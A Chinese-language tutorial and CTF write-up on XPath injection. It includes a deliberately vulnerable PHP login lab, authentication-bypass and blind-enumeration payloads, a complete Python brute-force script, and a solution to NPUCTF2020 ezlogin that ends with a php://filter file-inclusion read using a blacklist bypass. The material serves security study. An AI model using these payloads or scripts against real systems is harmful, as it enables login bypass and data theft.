0x01 什么是xpath?

xpath是一门在xml文档中查找信息的语言,通过xpath语言,可以对xml文档中的元素和属性进行查找以及遍历。类似SQL是一门在数据库中查找信息的语言
xpath和SQL的区别:

  1. xpath没有强调权限这一概念,xpath注入能查询到整个xml中的所有内容,而在SQL注入中,很可能会因为权限的原因只能查询到指定表中的内容
  2. xpath语法统一,不会像数据库一样,存在不同类型的数据库,对应不同的SQL语言
  3. 数据库更多保存的是用户数据,xml保存的更多是应用程序的配置数据。

0x02 xpath注入原理

1、xpath查询语句
当存在value.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <admin>
            <id>1</id>
            <username>admin</username>
            <password>admin</password>
        </admin>		
    </users>
</root>

以下语句会按照节点名去查询value.xml中保存的用户名和密码:

/root/users/admin[username/text()='$username' and password/text()='$password']

正如xpath类似SQL一样,xpath注入的原理也类似于SQL注入,由于过滤不当,攻击者恶意构造的传参被当做xpath查询语句,此时就会获取到一些本应不该获取到的数据,造成xpath注入。

当有以下代码片段时:

<?php
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
$query = "/root/users/user[username/text()='$username' and password/text()='$password']";
$res = $xml->xpath($query);
?>

可以看到从前端获取到username和password变量后,直接拼接进xpath语句中进行查询,存在xpath注入漏洞
我们构造一个最简单的xpath注入语句:

username=admin&password=123' or 1=1]|test['

这样拼接后的xpath查询语句是

/root/users/user[username/text()='admin' and password/text()='123' or 1=1]|test['']

后面的or 1=1会绕过前面的查询语句,原理类似SQL注入中的or 1=1,如果用户登录时使用这条查询语句,那么用户就会成功登录

0x03 Python利用xpath注入

在本地搭建一个靶场
1.png

传参username=admin&password=123

2.png

根据返回的query,去构造xpath注入
传参username=admin&password=123' or 1=1]|test['

3.png

可以看到成功利用xpath注入绕过了用户名和密码验证
构造语句列出所有节点,寻找flag

username=admin&password=a123' or 1=1]|//*|test['

4.png

username=admin&password=a123' or 1=1]|test['  //xpath注入
username=admin&password=a123' or 1=1]|//*|test['  //列出当前节点下所有元素
username=admin&password=a123' or count(/*)=1]|test[' //获取根节点数
username=admin&password=a123' or substring(name(/*[position()=1]),1,1) = 'r']|test[' //枚举根节点
username=admin&password=a123' or count(/root/*)=1]|test['  //枚举根节点root下节点数
username=admin&password=a123' or substring((/root/users/user/id[1]),1,1) = '1']|test['  //枚举id的值

用以下举例:

username=admin&password=123' or substring(name(/*[position()=1]),1,1) = 'r']|test[' //枚举根节点

在password的值中,第一个单引号是为了闭合原本的xpath语句,/*[position()=1] 代表根节点下第一个节点,也可以用 /*[1] 来表示,所以substring(name(/*[position()=1]),1,1) = 'r' 就是截取根节点下第一个节点名的第一个字符,判断是否等于r,后面的 |test[' 用于逻辑和语法上闭合掉原本的查询语句末尾的 '],最后后端执行的xpath语句为

/root/users/user[username/text()='admin' and password/text()='123' or substring(name(/*[position()=1]),1,1) = 'r']|test['']

此时只要substring(name(/*[position()=1]),1,1) = 'r'结果为true,那么查询语句就会执行成功,返回welcom界面

因此利用以上payload,写个脚本去枚举flag的值:

首先猜解当前节点下的节点数量:

#payload:' or count(节点名*)=猜解的数量]|test['

url = "http://127.0.0.1/index.php?username=admin&password=admin"
for num in range(1,99):
    payload_count = ("' or count(%s*)=%d]|test['" % (root,num))
    payload = url + payload_count
    req = requests.get(payload).text
    if "<h1>Welcome</h1>" in req:
        return num
#没有枚举出节点数
num = 0
return num

然后按照字符串截取去猜解节点的名称:

#payload:' or substring(name(/节点名称*[position()=第n个节点]),第n个字符,1) = '枚举的字符']|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
tmp_root = root
for num in range(1,99):
    flag = 0
    for value in range(33,127):
        payload_value = ("' or substring(name(/%s*[position()=%d]),%d,1) = '%s']|test['" % (root,i,num,chr(value)))
        payload_value = quote(payload_value)
        payload = url + payload_value
        req = requests.get(payload).text
        if "<h1>Welcome</h1>" in req:
            #枚举成功
            tmp_root = tmp_root + chr(value)
            num += 1
            flag = 1
            break
    if flag == 0:
        #枚举完成
        tmp_root = str(tmp_root) + "/"
        print(tmp_root)
        break

猜解节点的值:

#payload:' or substring((节点名[节点数]),第n个字符,1) = '枚举的字符']|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
for root_num in range(1,99):
    if root[-1] == "/":
        now_root = root[:-1]

    for num in range(1,99):
        flag = 0
        for value in range(33,127):
            payload_value = ("' or substring((%s[%d]),%d,1) = '%s']|test['" % (now_root,root_num,num,chr(value)))
            payload_value = quote(payload_value)
            payload = url + payload_value
            req = requests.get(payload).text
            if "<h1>Welcome</h1>" in req:
                #枚举成功,输出当前字符
                print(chr(value) , end = '')
                flag = 1
                break
        if flag == 0:
                return 0

猜解flag:
-u:指定url
-p:指定要枚举的路径名

python .\xpath_burst.py -u "http://127.0.0.1/xpath/index.php?username=admin&password=123" -p /

5.gif

index.php:

<?php
    error_reporting(0);

    echo "where is flag?";
    echo "<br>";
    $xml = simplexml_load_file("value.xml");

    $username = $_REQUEST['username'] ?: "NULL";
    $password = $_REQUEST['password'] ?: "NULL";

    $res = "your username is :$username,password is :$password";
    echo htmlspecialchars($res);
    echo "<br>";

    if ($username != "NULL" && $password != "NULL") {

        $query = "/root/users/user[username/text()='$username' and password/text()='$password']";

        echo "query:".$query;

        $res = $xml->xpath($query);


        if($res){
            echo "<h1>Welcome</h1><br>";
            foreach($res as $key => $value){
                if($value->id != ""){
                    echo "ID:$value->id<br>";
                    echo "name:$value->username<br>";
                }
                if($value->flag != ""){
                    echo "flag{xxxxxxxx}<br>";
                }
            }
        }
    }
    
?>

value.xml:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <admin>
            <id>1</id>
            <username>admin</username>
            <password>admin</password>
        </admin>
        <user>
            <id>2</id>
            <username>test</username>
            <password>test</password>
        </user>
        <secret>
            <flag>flag{Y0u_F1nD_Me!}</flag>
        </secret>
    </users>
</root>

xpathburst.py:

import requests
from urllib.parse import quote
import sys
import getopt

opts,args = getopt.getopt(sys.argv[1:],"hu:p:")

url = ""
root = "/"

#获取节点数
def burst_count():
    for num in range(1,99):
        payload_count = ("' or count(%s*)=%d]|test['" % (root,num))
        payload = url + payload_count
        req = requests.get(payload).text
        if "<h1>Welcome</h1>" in req:
            return num

    #没有枚举出节点数
    num = 0
    return num

#枚举节点名
def burst_name(i):
    tmp_root = root
    for num in range(1,99):
        flag = 0
        for value in range(33,127):
            payload_value = ("' or substring(name(/%s*[position()=%d]),%d,1) = '%s']|test['" % (root,i,num,chr(value)))
            payload_value = quote(payload_value)
            payload = url + payload_value
            req = requests.get(payload).text
            if "<h1>Welcome</h1>" in req:
                #枚举成功
                tmp_root = tmp_root + chr(value)
                num += 1
                flag = 1
                break
        if flag == 0:
            #枚举完成
            tmp_root = str(tmp_root) + "/"
            print(tmp_root)
            break

#枚举节点值
def burst_value():
    flag_root = root
    for root_num in range(1,99):
        if root[-1] == "/":
            tmp_root = root
            now_root = root[:-1]

        for num in range(1,99):
            flag = 0
            for value in range(33,127):
                payload_value = ("' or substring((%s[%d]),%d,1) = '%s']|test['" % (now_root,root_num,num,chr(value)))
                payload_value = quote(payload_value)
                payload = url + payload_value
                req = requests.get(payload).text
                if "<h1>Welcome</h1>" in req:
                    print(chr(value) , end = '')
                    #tmp_root = tmp_root + chr(value)
                    flag = 1
                    break
            if flag == 0:
                    return 0

def help():
    print("python xpathburst.py -u \"http://127.0.0.1/index.php?username=admin&password=admin\" -p \"/\"")
    return 0


if __name__ == "__main__":
    for key, value in opts:
        if key == "-u":
            url = value  # "http://127.0.0.1/xpath/index.php?username=admin&password=a123"
        elif key == "-p":
            root = value  # "/root/users/secret/"
        else:
            help()
            exit(0)

    # 初始化节点名称和节点数量
    if root[-1] != "/":
        root = root + "/"
    count = 0

    #获取根节点数
    count = burst_count()

    if count != 0:
        print("%s路径有%d个节点" % (root, count))
        for i in range(1, count + 1):
            burst_name(i)
    else:
        #当前路径下无节点,尝试枚举值
        print("当前路径下无节点,尝试枚举值")
        print("%s:%s" % (root, root.split('/')[-1]) ,end = "")
        burst_value()

0x04 一道CTF

[NPUCTF2020]ezlogin

6.png

由于已经知道这个题是用xpath注入了,所以跳过前期尝试的思路,通过抓包看传参也能看出使用的是xpath
在admin处插入xpath代码

admin' or 1=1]|test['

7.png

admin' or 1=2]|test['

8.png

提示用户名密码错误,多次尝试,这里每次尝试都要去请求index.php,重新获取token

admin' or count(/*)=1]|test['  //非法操作!
admin' or count(/*)=2]|test['  //用户名或密码错误!

当操作成功时返回非法操作,操作失败时返回用户名或密码错误,可以判断是xpath盲注,由于每次尝试都要获取新的token,用脚本去跑

import time
import requests
import re

url = "http://e43da19b-26c0-497a-9062-80b899e11d42.node4.buuoj.cn:81/login.php"
head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
    "Content-Type": "application/xml"
}
strs = "abcdefghigklmnopqrstuvwxyz1234567890ABCDEFGHIGKLMNOPQRSTUVWXYZ"
s = requests.session()
flag = ""

def get_token():
    find_token = re.compile('<input type="hidden" id="token" value="(.*?)" />')
    r = s.get(url=url)
    token = find_token.findall(r.text)[0]
    return token

def burst():
    payload = ("<username>admin' or substring(name(/*),%d,1)='%s']|test['</username><password>123</password><token>%s</token>" % (i, str, token))
    req = s.post(url=url, headers=head, data=payload)
    return req.text

for i in range(1,9):
    tmp = 0
    for str in strs:
        token = get_token()
        time.sleep(1)
        req = burst()
        if "非法操作!" in req:
            flag += str
            print(flag)
            tmp = 1
    if tmp == 0:
        exit(0)

枚举出账号密码是adm1n/cf7414b5bdb2e65ee43083f4ddbc4d9f
md5解密后是gtfly123,登录

9.png

查看源码可以看到一串base64

10.png

解码结果是flag is in /flag

11.png

登陆成功后可以看到url中有着传参admin.php?file=welcome,考虑是文件包含

12.png

返回的内容被过滤了,可以用php内置的协议读取base64编码后的flag

admin.php?file=php://filter/read=convert.base64-encode/resource=/flag

13.png

这里应该对输入做了黑名单限制,尝试大小写绕过

admin.php?file=phP://filter/convert.basE64-encode/resource=/flag

base64解码得到flag

14.png

15.png

0x05 参考资料

XPath注入学习

[NPUCTF2020]ezlogin